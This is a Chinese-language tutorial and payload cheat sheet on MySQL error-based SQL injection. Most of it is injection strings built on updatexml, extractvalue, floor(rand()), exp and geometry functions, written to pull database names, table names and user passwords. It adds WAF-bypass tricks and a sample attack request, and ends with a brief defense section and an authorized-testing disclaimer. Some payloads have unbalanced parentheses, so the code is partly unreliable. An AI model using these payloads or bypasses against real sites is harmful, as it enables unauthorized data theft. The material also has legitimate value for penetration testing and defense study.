报错注入原理与全方法总结
报错注入原理与全方法总结
核心原理:利用数据库函数执行时的强制报错机制,通过拼接恶意构造的语句触发错误,在报错信息中返回敏感数据。
一、主流报错注入方法详解
1️⃣ updatexml()
函数
- 语法:
updatexml(XML_document, XPath_string, new_value)
- 适用版本:MySQL 5.1.5+
- Payload构造:
updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)
- 关键技巧:
- 通过
0x7e
(~
符号)破坏XPath语法格式触发报错 - 嵌套子查询
(SELECT ...)
获取数据库信息
- 通过
- 实战案例:
# 获取当前数据库名 updatexml(1, concat(0x7e,(SELECT database()),0x7e),1)# 提取表名(需绕过行数限制) updatexml(1, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) ,0x7e),1)
2️⃣ extractvalue()
函数
- 语法:
extractvalue(XML_document, XPath_string)
- 适用版本:MySQL 5.1.5+
- Payload构造:
AND extractvalue(1, concat(0x7e,(SELECT user()),0x7e))
- 特点:报错原理与
updatexml()
相同,但参数更少
二、扩展报错注入方法(补充)
3️⃣ floor(rand())*2
报错
- 原理:
group by
与rand()
函数产生的重复值冲突 - 经典Payload:
SELECT count(*) FROM information_schema.tables GROUP BY concat((SELECT user()), floor(rand(0)*2 )
- 优势:可一次性返回多行数据
4️⃣ exp()
函数溢出报错
- 原理:超大指数导致数值溢出
- Payload:
SELECT exp(~(SELECT * FROM(SELECT user())x))
5️⃣ 几何函数报错(MySQL 5.7+)
- 利用
ST_LatFromGeoHash()
,GTID_SUBSET()
等 - 示例:
SELECT ST_LatFromGeoHash((SELECT user()));
三、绕过技巧与高级用法
-
解决字符长度限制(32字符):
- 使用
substr()
分片获取数据:updatexml(1, concat(0x7e,substr((SELECT password FROM users LIMIT 1),1,20) ,0x7e),1)
- 使用
-
无回显场景联合使用:
AND if(1=1, updatexml(1,concat(0x7e,version()),1), sleep(3)
-
WAF绕过技巧:
- 双写关键字:
selselectect
- 内联注释:
/*!updatexml()*/
- 空白符干扰:
%0a%0d
(换行符)
- 双写关键字:
四、防御方案
- 代码层:
- 使用参数化查询(Prepared Statements)
- 过滤特殊字符:
~
#
xp_
/*
- 数据库层:
- 限制错误信息输出(关闭详细报错)
- 最小权限原则:禁用
FILE
/EXECUTE
权限
- 设备层:
- WAF规则:拦截包含
updatexml|extractvalue|rand()
的请求
- WAF规则:拦截包含
五、实战检测示例
GET /product.php?id=1' AND updatexml(1,concat(0x7e,@@version),1)--+
返回结果:
XPATH syntax error: '~10.6.12-MariaDB'
法律声明:报错注入技术仅限授权测试使用!本文方法已做脱敏处理,严禁未授权渗透。